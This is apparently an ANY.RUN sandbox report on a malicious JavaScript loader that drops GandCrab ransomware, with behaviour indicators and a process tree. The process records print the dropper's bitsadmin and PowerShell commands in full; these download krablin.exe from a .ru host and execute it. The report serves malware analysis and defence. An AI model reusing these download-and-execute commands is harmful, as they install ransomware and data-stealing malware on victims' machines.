General Info Watch the FULL Interactive Analysis at ANY.RUN!

File name

Love_You_2019_24452472-txt.js

Verdict
Malicious activity
Analysis date
1/11/2019, 01:18:20
OS:
Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
loader
trojan
ransomware
gandcrab
Indicators:

MIME:
text/plain
File info:
ASCII text, with CRLF, CR line terminators
MD5

2907842ddc0e0f3b7306f81d4912be60

SHA1

4207b309c45b7aa8a841ab1208364d8d49fa5dc3

SHA256

ad59b1fb187a10d220f7480433fadc132d41cf361d3d8a06c7e5948b79f6764f

SSDEEP

24:FheN8YR9M4VDTX6FHoH+4D1mz0EtofWVWndHNih44Rm50YNLociXP:Fhi8Y9M4VDOK1mIEtOtwh4b50YNMciXP

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distored by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

Software environment set and analysis options

Launch configuration

Task duration
60 seconds
Additional time used
none
Fakenet option
off
Heavy Evaision option
off
MITM proxy
off
Route via Tor
off
Network geolocation
off
Privacy
Public submission
Autoconfirmation of UAC
off

Software preset

  • Internet Explorer 8.0.7601.17514
  • Adobe Acrobat Reader DC MUI (15.023.20070)
  • Adobe Flash Player 26 ActiveX (26.0.0.131)
  • Adobe Flash Player 26 NPAPI (26.0.0.131)
  • Adobe Flash Player 26 PPAPI (26.0.0.131)
  • Adobe Refresh Manager (1.8.0)
  • CCleaner (5.35)
  • FileZilla Client 3.36.0 (3.36.0)
  • Google Chrome (68.0.3440.106)
  • Google Update Helper (1.3.33.17)
  • Java 8 Update 92 (8.0.920.14)
  • Java Auto Updater (2.8.92.14)
  • Microsoft .NET Framework 4.6.1 (4.6.01055)
  • Microsoft Office Access MUI (English) 2010 (14.0.6029.1000)
  • Microsoft Office Access Setup Metadata MUI (English) 2010 (14.0.6029.1000)
  • Microsoft Office Excel MUI (English) 2010 (14.0.6029.1000)
  • Microsoft Office OneNote MUI (English) 2010 (14.0.6029.1000)
  • Microsoft Office Outlook MUI (English) 2010 (14.0.6029.1000)
  • Microsoft Office PowerPoint MUI (English) 2010 (14.0.6029.1000)
  • Microsoft Office Professional 2010 (14.0.6029.1000)
  • Microsoft Office Proof (English) 2010 (14.0.6029.1000)
  • Microsoft Office Proof (French) 2010 (14.0.6029.1000)
  • Microsoft Office Proof (Spanish) 2010 (14.0.6029.1000)
  • Microsoft Office Proofing (English) 2010 (14.0.6029.1000)
  • Microsoft Office Publisher MUI (English) 2010 (14.0.6029.1000)
  • Microsoft Office Shared MUI (English) 2010 (14.0.6029.1000)
  • Microsoft Office Shared Setup Metadata MUI (English) 2010 (14.0.6029.1000)
  • Microsoft Office Single Image 2010 (14.0.6029.1000)
  • Microsoft Office Word MUI (English) 2010 (14.0.6029.1000)
  • Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 (9.0.30729.6161)
  • Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219 (10.0.40219)
  • Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 (12.0.30501.0)
  • Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005 (12.0.21005)
  • Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 (12.0.21005)
  • Microsoft Visual C++ 2017 Redistributable (x86) - 14.15.26706 (14.15.26706.0)
  • Microsoft Visual C++ 2017 x86 Additional Runtime - 14.15.26706 (14.15.26706)
  • Microsoft Visual C++ 2017 x86 Minimum Runtime - 14.15.26706 (14.15.26706)
  • Mozilla Firefox 61.0.2 (x86 en-US) (61.0.2)
  • Notepad++ (32-bit x86) (7.5.1)
  • Opera 12.15 (12.15.1748)
  • Skype version 8.29 (8.29)
  • VLC media player (2.2.6)
  • WinRAR 5.60 (32-bit) (5.60.0)

Hotfixes

  • Client LanguagePack Package
  • Client Refresh LanguagePack Package
  • CodecPack Basic Package
  • Foundation Package
  • IE Troubleshooters Package
  • InternetExplorer Optional Package
  • KB2534111
  • KB2999226
  • KB976902
  • LocalPack AU Package
  • LocalPack CA Package
  • LocalPack GB Package
  • LocalPack US Package
  • LocalPack ZA Package
  • ProfessionalEdition
  • UltimateEdition

Behavior activities

MALICIOUS SUSPICIOUS INFO
Application was dropped or rewritten from another process
  • 3588437294.exe (PID: 2728)
  • 1739338477.exe (PID: 3192)
  • 1513826834.exe (PID: 3660)
  • 1218740417.exe (PID: 3884)
  • wincfg32svc.exe (PID: 3864)
  • 3528913375.exe (PID: 2544)
  • winsvcs.exe (PID: 2828)
  • 1993934968.exe (PID: 3464)
  • 1473236908.exe (PID: 2236)
  • 495958594939.exe (PID: 4024)
  • winsvcs.exe (PID: 2800)
  • 979574639568794.exe (PID: 3296)
Changes settings of System certificates
  • 3528913375.exe (PID: 2544)
Connects to CnC server
  • 3528913375.exe (PID: 2544)
Dropped file may contain instructions of ransomware
  • 3528913375.exe (PID: 2544)
Changes Security Center notification settings
  • winsvcs.exe (PID: 2828)
Renames files like Ransomware
  • 3528913375.exe (PID: 2544)
Downloads executable files from IP
  • winsvcs.exe (PID: 2800)
Deletes shadow copies
  • 3528913375.exe (PID: 2544)
Writes file to Word startup folder
  • 3528913375.exe (PID: 2544)
Downloads executable files from the Internet
  • winsvcs.exe (PID: 2800)
  • powershell.exe (PID: 3248)
Disables Windows System Restore
  • winsvcs.exe (PID: 2828)
Disables Windows Defender Real-time monitoring
  • winsvcs.exe (PID: 2828)
Actions looks like stealing of personal data
  • 3528913375.exe (PID: 2544)
Changes the autorun value in the registry
  • 1993934968.exe (PID: 3464)
  • 1473236908.exe (PID: 2236)
  • 979574639568794.exe (PID: 3296)
GandCrab keys found
  • 3528913375.exe (PID: 2544)
Uses BITADMIN.EXE for downloading application
  • cmd.exe (PID: 4068)
Executes PowerShell scripts
  • cmd.exe (PID: 2216)
Adds / modifies Windows certificates
  • 3528913375.exe (PID: 2544)
Creates files like Ransomware instruction
  • 3528913375.exe (PID: 2544)
Executable content was dropped or overwritten
  • winsvcs.exe (PID: 2828)
  • winsvcs.exe (PID: 2800)
  • 1473236908.exe (PID: 2236)
  • 1993934968.exe (PID: 3464)
  • powershell.exe (PID: 3248)
  • 979574639568794.exe (PID: 3296)
Reads the cookies of Mozilla Firefox
  • 3528913375.exe (PID: 2544)
Starts itself from another location
  • winsvcs.exe (PID: 2828)
  • 1473236908.exe (PID: 2236)
  • 979574639568794.exe (PID: 3296)
  • 1993934968.exe (PID: 3464)
Connects to SMTP port
  • wincfg32svc.exe (PID: 3864)
Creates files in the program directory
  • 3528913375.exe (PID: 2544)
Creates files in the user directory
  • winsvcs.exe (PID: 2800)
  • powershell.exe (PID: 3248)
  • 3528913375.exe (PID: 2544)
Starts CMD.EXE for commands execution
  • WScript.exe (PID: 2956)
Dropped object may contain TOR URL's
  • 3528913375.exe (PID: 2544)

Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

Static information

Screenshots

Processes

Total processes
52
Monitored processes
18
Malicious processes
10
Suspicious processes
2

Behavior graph

+
start download and start drop and start download and start download and start download and start download and start download and start drop and start drop and start drop and start drop and start wscript.exe no specs cmd.exe no specs cmd.exe no specs bitsadmin.exe no specs powershell.exe 979574639568794.exe winsvcs.exe 495958594939.exe no specs 1993934968.exe 1473236908.exe winsvcs.exe wincfg32svc.exe #GANDCRAB 3528913375.exe 1739338477.exe no specs 1218740417.exe no specs wmic.exe no specs 1513826834.exe no specs 3588437294.exe no specs
Specs description
Program did not start
Integrity level elevation
Task сontains an error or was rebooted
Process has crashed
Task contains several apps running
Executable file was dropped
Debug information is available
Process was injected
Network attacks were detected
Application downloaded the executable file
Actions similar to stealing personal data
Behavior similar to exploiting the vulnerability
Inspected object has sucpicious PE structure
File is detected by antivirus software
CPU overrun
RAM overrun
Process starts the services
Process was added to the startup
Behavior similar to spam
Low-level access to the HDD
Probably Tor was used
System was rebooted
Connects to the network
Known threat

Process information

Click at the process to see the details.

PID
2956
CMD
"C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\Love_You_2019_24452472-txt.js"
Path
C:\Windows\System32\WScript.exe
Indicators
No indicators
Parent process
––
User
admin
Integrity Level
MEDIUM
Exit code
0
Version:
Company
Microsoft Corporation
Description
Microsoft ® Windows Based Script Host
Version
5.8.7600.16385
Modules
Image
c:\windows\system32\wscript.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\ole32.dll
c:\windows\system32\version.dll
c:\windows\system32\imm32.dll
c:\windows\system32\msctf.dll
c:\windows\system32\cryptbase.dll
c:\windows\system32\sxs.dll
c:\windows\system32\clbcatq.dll
c:\windows\system32\jscript.dll
c:\windows\system32\shlwapi.dll
c:\windows\system32\wintrust.dll
c:\windows\system32\crypt32.dll
c:\windows\system32\msasn1.dll
c:\windows\system32\cryptsp.dll
c:\windows\system32\rsaenh.dll
c:\windows\system32\msisip.dll
c:\windows\system32\wshext.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\comctl32.dll
c:\windows\system32\shell32.dll
c:\windows\system32\scrobj.dll
c:\windows\system32\rpcrtremote.dll
c:\windows\system32\wshom.ocx
c:\windows\system32\mpr.dll
c:\windows\system32\scrrun.dll
c:\windows\system32\propsys.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\comctl32.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\ieframe.dll
c:\windows\system32\psapi.dll
c:\windows\system32\oleacc.dll
c:\windows\system32\iertutil.dll
c:\windows\system32\urlmon.dll
c:\windows\system32\wininet.dll
c:\windows\system32\setupapi.dll
c:\windows\system32\cfgmgr32.dll
c:\windows\system32\devobj.dll
c:\windows\system32\ntmarta.dll
c:\windows\system32\wldap32.dll
c:\windows\system32\profapi.dll
c:\windows\system32\sspicli.dll

PID
4068
CMD
"C:\Windows\System32\cmd.exe" /c bitsadmin.exe /transfer getitman /download /priority high http://slpsrgpsrhojifdij.ru/krablin.exe C:\Users\admin\AppData\Local\Temp\495958594939.exe&start C:\Users\admin\AppData\Local\Temp\495958594939.exe
Path
C:\Windows\System32\cmd.exe
Indicators
No indicators
Parent process
WScript.exe
User
admin
Integrity Level
MEDIUM
Exit code
0
Version:
Company
Microsoft Corporation
Description
Windows Command Processor
Version
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Image
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\imm32.dll
c:\windows\system32\msctf.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\bitsadmin.exe
c:\users\admin\appdata\local\temp\495958594939.exe

PID
2216
CMD
"C:\Windows\System32\cmd.exe" /c PowerShell -ExecutionPolicy Bypass (New-Object System.Net.WebClient).DownloadFile('http://slpsrgpsrhojifdij.ru/krablin.exe','C:\Users\admin\AppData\Local\Temp\979574639568794.exe');Start-Process 'C:\Users\admin\AppData\Local\Temp\979574639568794.exe'
Path
C:\Windows\System32\cmd.exe
Indicators
No indicators
Parent process
WScript.exe
User
admin
Integrity Level
MEDIUM
Exit code
0
Version:
Company
Microsoft Corporation
Description
Windows Command Processor
Version
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Image
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\imm32.dll
c:\windows\system32\msctf.dll
c:\windows\system32\apphelp.dll

PID
3176
CMD
bitsadmin.exe /transfer getitman /download /priority high http://slpsrgpsrhojifdij.ru/krablin.exe C:\Users\admin\AppData\Local\Temp\495958594939.exe
Path
C:\Windows\system32\bitsadmin.exe
Indicators
No indicators
Parent process
cmd.exe
User
admin
Integrity Level
MEDIUM
Exit code
0
Version:
Company
Microsoft Corporation
Description
BITS administration utility
Version
7.5.7600.16385 (win7_rtm.090713-1255)
Modules
Image
c:\windows\system32\bitsadmin.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\ole32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\shell32.dll
c:\windows\system32\shlwapi.dll
c:\windows\system32\version.dll
c:\windows\system32\imm32.dll
c:\windows\system32\msctf.dll
c:\windows\system32\cryptbase.dll
c:\windows\system32\clbcatq.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\cryptsp.dll
c:\windows\system32\rsaenh.dll
c:\windows\system32\rpcrtremote.dll
c:\windows\system32\qmgrprxy.dll

PID
3248
CMD
PowerShell -ExecutionPolicy Bypass (New-Object System.Net.WebClient).DownloadFile('http://slpsrgpsrhojifdij.ru/krablin.exe','C:\Users\admin\AppData\Local\Temp\979574639568794.exe');Start-Process 'C:\Users\admin\AppData\Local\Temp\979574639568794.exe'
Path
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Indicators
Parent process
cmd.exe
User
admin
Integrity Level
MEDIUM
Exit code
0
Version:
Company
Microsoft Corporation
Description
Windows PowerShell
Version
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Image
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\shlwapi.dll
c:\windows\system32\imm32.dll
c:\windows\system32\msctf.dll
c:\windows\system32\cryptbase.dll
c:\windows\system32\clbcatq.dll
c:\windows\system32\shell32.dll
c:\windows\system32\userenv.dll
c:\windows\system32\profapi.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\comctl32.dll
c:\windows\system32\setupapi.dll
c:\windows\system32\cfgmgr32.dll
c:\windows\system32\devobj.dll
c:\windows\system32\propsys.dll
c:\windows\system32\ntmarta.dll
c:\windows\system32\wldap32.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\shdocvw.dll
c:\windows\system32\linkinfo.dll
c:\windows\system32\ntshrui.dll
c:\windows\system32\srvcli.dll
c:\windows\system32\cscapi.dll
c:\windows\system32\slc.dll
c:\windows\system32\cryptsp.dll
c:\windows\system32\rsaenh.dll
c:\windows\microsoft.net\framework\v4.0.30319\mscoreei.dll
c:\windows\system32\version.dll
c:\windows\microsoft.net\framework\v2.0.50727\mscorwks.dll
c:\windows\winsxs\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.4940_none_d08cc06a442b34fc\msvcr80.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\mscorlib\62a0b3e4b40ec0e8c5cfaa0c8848e64a\mscorlib.ni.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\system\9e0a3b9b9f457233a335d7fba8f95419\system.ni.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\microsoft.powershel#\4bdde288f147e3b3f2c090ecdf704e6d\microsoft.powershell.consolehost.ni.dll
c:\windows\assembly\gac_msil\system.management.automation\1.0.0.0__31bf3856ad364e35\system.management.automation.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\system.management.a#\a8e3a41ecbcc4bb1598ed5719f965110\system.management.automation.ni.dll
c:\windows\system32\psapi.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\system.core\fbc05b5b05dc6366b02b8e2f77d080f1\system.core.ni.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\microsoft.powershel#\e112e4460a0c9122de8c382126da4a2f\microsoft.powershell.commands.diagnostics.ni.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\system.configuratio#\f02737c83305687a68c088927a6c5a98\system.configuration.install.ni.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\microsoft.wsman.man#\f1865caa683ceb3d12b383a94a35da14\microsoft.wsman.management.ni.dll
c:\windows\assembly\gac_msil\microsoft.wsman.runtime\1.0.0.0__31bf3856ad364e35\microsoft.wsman.runtime.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\system.transactions\ad18f93fc713db2c4b29b25116c13bd8\system.transactions.ni.dll
c:\windows\assembly\gac_32\system.transactions\2.0.0.0__b77a5c561934e089\system.transactions.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\microsoft.powershel#\82d7758f278f47dc4191abab1cb11ce3\microsoft.powershell.commands.utility.ni.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\microsoft.powershel#\583c7b9f52114c026088bdb9f19f64e8\microsoft.powershell.commands.management.ni.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\microsoft.powershel#\6c5bef3ab74c06a641444eff648c0dde\microsoft.powershell.security.ni.dll
c:\windows\microsoft.net\framework\v2.0.50727\culture.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\system.xml\461d3b6b3f43e6fbe6c897d5936e17e4\system.xml.ni.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\system.management\6f3b99ed0b791ff4d8aa52f2f0cd0bcf\system.management.ni.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\system.directoryser#\45ec12795950a7d54691591c615a9e3c\system.directoryservices.ni.dll
c:\windows\system32\shfolder.dll
c:\windows\system32\secur32.dll
c:\windows\system32\sspicli.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\system.data\1e85062785e286cd9eae9c26d2c61f73\system.data.ni.dll
c:\windows\assembly\gac_32\system.data\2.0.0.0__b77a5c561934e089\system.data.dll
c:\windows\system32\ws2_32.dll
c:\windows\system32\nsi.dll
c:\windows\system32\crypt32.dll
c:\windows\system32\msasn1.dll
c:\windows\microsoft.net\framework\v2.0.50727\mscorjit.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\system.configuration\bc09ad2d49d8535371845cd7532f9271\system.configuration.ni.dll
c:\windows\system32\rasapi32.dll
c:\windows\system32\rasman.dll
c:\windows\system32\rtutils.dll
c:\windows\system32\mswsock.dll
c:\windows\system32\wshtcpip.dll
c:\windows\system32\wship6.dll
c:\windows\system32\winhttp.dll
c:\windows\system32\webio.dll
c:\windows\system32\iphlpapi.dll
c:\windows\system32\winnsi.dll
c:\windows\system32\dhcpcsvc6.dll
c:\windows\system32\dhcpcsvc.dll
c:\windows\system32\dnsapi.dll
c:\windows\system32\rasadhlp.dll
c:\windows\system32\fwpuclnt.dll
c:\windows\system32\urlmon.dll
c:\windows\system32\wininet.dll
c:\windows\system32\iertutil.dll
c:\users\admin\appdata\local\temp\979574639568794.exe
c:\windows\system32\netutils.dll

PID
3296
CMD
"C:\Users\admin\AppData\Local\Temp\979574639568794.exe"
Path
C:\Users\admin\AppData\Local\Temp\979574639568794.exe
Indicators
Parent process
powershell.exe
User
admin
Integrity Level
MEDIUM
Exit code
0
Version:
Company
Description
Version
Modules
Image
c:\users\admin\appdata\local\temp\979574639568794.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\wininet.dll
c:\windows\system32\shlwapi.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\urlmon.dll
c:\windows\system32\ole32.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\crypt32.dll
c:\windows\system32\msasn1.dll
c:\windows\system32\iertutil.dll
c:\windows\system32\shell32.dll
c:\windows\system32\imm32.dll
c:\windows\system32\msctf.dll
c:\windows\system32\sspicli.dll
c:\windows\system32\apphelp.dll
c:\users\admin\495030305060\winsvcs.exe

PID
2800
CMD
C:\Users\admin\495030305060\winsvcs.exe
Path
C:\Users\admin\495030305060\winsvcs.exe
Indicators
Parent process
979574639568794.exe
User
admin
Integrity Level
MEDIUM
Version:
Company
Description
Version
Modules
Image
c:\users\admin\495030305060\winsvcs.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\wininet.dll
c:\windows\system32\shlwapi.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\urlmon.dll
c:\windows\system32\ole32.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\crypt32.dll
c:\windows\system32\msasn1.dll
c:\windows\system32\iertutil.dll
c:\windows\system32\shell32.dll
c:\windows\system32\imm32.dll
c:\windows\system32\msctf.dll
c:\windows\system32\sspicli.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\comctl32.dll
c:\windows\system32\profapi.dll
c:\windows\system32\ntmarta.dll
c:\windows\system32\wldap32.dll
c:\windows\system32\ws2_32.dll
c:\windows\system32\nsi.dll
c:\windows\system32\dnsapi.dll
c:\windows\system32\iphlpapi.dll
c:\windows\system32\winnsi.dll
c:\windows\system32\rasapi32.dll
c:\windows\system32\rasman.dll
c:\windows\system32\rtutils.dll
c:\windows\system32\sensapi.dll
c:\windows\system32\cryptbase.dll
c:\windows\system32\nlaapi.dll
c:\windows\system32\rasadhlp.dll
c:\windows\system32\version.dll
c:\windows\system32\mswsock.dll
c:\windows\system32\wshtcpip.dll
c:\windows\system32\wship6.dll
c:\windows\system32\fwpuclnt.dll
c:\windows\system32\normaliz.dll
c:\windows\system32\apphelp.dll
c:\users\admin\appdata\local\temp\1993934968.exe
c:\users\admin\appdata\local\temp\1473236908.exe
c:\users\admin\appdata\local\temp\3528913375.exe
c:\users\admin\appdata\local\temp\1513826834.exe
c:\users\admin\appdata\local\temp\3588437294.exe

PID
4024
CMD
C:\Users\admin\AppData\Local\Temp\495958594939.exe
Path
C:\Users\admin\AppData\Local\Temp\495958594939.exe
Indicators
No indicators
Parent process
cmd.exe
User
admin
Integrity Level
MEDIUM
Exit code
0
Version:
Company
Description
Version
Modules
Image
c:\users\admin\appdata\local\temp\495958594939.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\wininet.dll
c:\windows\system32\shlwapi.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\urlmon.dll
c:\windows\system32\ole32.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\crypt32.dll
c:\windows\system32\msasn1.dll
c:\windows\system32\iertutil.dll
c:\windows\system32\shell32.dll
c:\windows\system32\imm32.dll
c:\windows\system32\msctf.dll
c:\windows\system32\sspicli.dll

PID
3464
CMD
C:\Users\admin\AppData\Local\Temp\1993934968.exe
Path
C:\Users\admin\AppData\Local\Temp\1993934968.exe
Indicators
Parent process
winsvcs.exe
User
admin
Integrity Level
MEDIUM
Exit code
0
Version:
Company
Description
Version
Modules
Image
c:\users\admin\appdata\local\temp\1993934968.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\shell32.dll
c:\windows\system32\shlwapi.dll
c:\windows\system32\imm32.dll
c:\windows\system32\msctf.dll
c:\windows\system32\wininet.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\urlmon.dll
c:\windows\system32\ole32.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\crypt32.dll
c:\windows\system32\msasn1.dll
c:\windows\system32\iertutil.dll
c:\windows\system32\msvcr100.dll
c:\windows\system32\apphelp.dll
c:\users\admin\657607470096780\winsvcs.exe

PID
2236
CMD
C:\Users\admin\AppData\Local\Temp\1473236908.exe
Path
C:\Users\admin\AppData\Local\Temp\1473236908.exe
Indicators
Parent process
winsvcs.exe
User
admin
Integrity Level
MEDIUM
Exit code
0
Version:
Company
Description
Version
Modules
Image
c:\users\admin\appdata\local\temp\1473236908.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\shell32.dll
c:\windows\system32\shlwapi.dll
c:\windows\system32\imm32.dll
c:\windows\system32\msctf.dll
c:\windows\system32\ws2_32.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\nsi.dll
c:\windows\system32\wininet.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\urlmon.dll
c:\windows\system32\ole32.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\crypt32.dll
c:\windows\system32\msasn1.dll
c:\windows\system32\iertutil.dll
c:\windows\system32\dnsapi.dll
c:\windows\system32\msvcr100.dll
c:\windows\system32\apphelp.dll
c:\users\admin\4950606094303050\wincfg32svc.exe

PID
2828
CMD
C:\Users\admin\657607470096780\winsvcs.exe
Path
C:\Users\admin\657607470096780\winsvcs.exe
Indicators
Parent process
1993934968.exe
User
admin
Integrity Level
MEDIUM
Version:
Company
Description
Version
Modules
Image
c:\users\admin\657607470096780\winsvcs.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\shell32.dll
c:\windows\system32\shlwapi.dll
c:\windows\system32\imm32.dll
c:\windows\system32\msctf.dll
c:\windows\system32\wininet.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\urlmon.dll
c:\windows\system32\ole32.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\crypt32.dll
c:\windows\system32\msasn1.dll
c:\windows\system32\iertutil.dll
c:\windows\system32\msvcr100.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\comctl32.dll
c:\windows\system32\sspicli.dll
c:\windows\system32\profapi.dll
c:\windows\system32\ws2_32.dll
c:\windows\system32\nsi.dll
c:\windows\system32\dnsapi.dll
c:\windows\system32\iphlpapi.dll
c:\windows\system32\winnsi.dll
c:\windows\system32\rasapi32.dll
c:\windows\system32\rasman.dll
c:\windows\system32\rtutils.dll
c:\windows\system32\cryptbase.dll
c:\windows\system32\sensapi.dll
c:\windows\system32\nlaapi.dll
c:\windows\system32\rasadhlp.dll
c:\windows\system32\ntmarta.dll
c:\windows\system32\wldap32.dll
c:\windows\system32\version.dll
c:\windows\system32\mswsock.dll
c:\windows\system32\wshtcpip.dll
c:\windows\system32\wship6.dll
c:\windows\system32\fwpuclnt.dll
c:\windows\system32\normaliz.dll
c:\windows\system32\apphelp.dll
c:\users\admin\appdata\local\temp\1739338477.exe
c:\users\admin\appdata\local\temp\1218740417.exe

PID
3864
CMD
C:\Users\admin\4950606094303050\wincfg32svc.exe
Path
C:\Users\admin\4950606094303050\wincfg32svc.exe
Indicators
Parent process
1473236908.exe
User
admin
Integrity Level
MEDIUM
Version:
Company
Description
Version
Modules
Image
c:\users\admin\4950606094303050\wincfg32svc.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\usp10.dll
c:\windows\system32\shell32.dll
c:\windows\system32\shlwapi.dll
c:\windows\system32\imm32.dll
c:\windows\system32\msctf.dll
c:\windows\system32\ws2_32.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\nsi.dll
c:\windows\system32\wininet.dll
c:\windows\system32\advapi32.dll
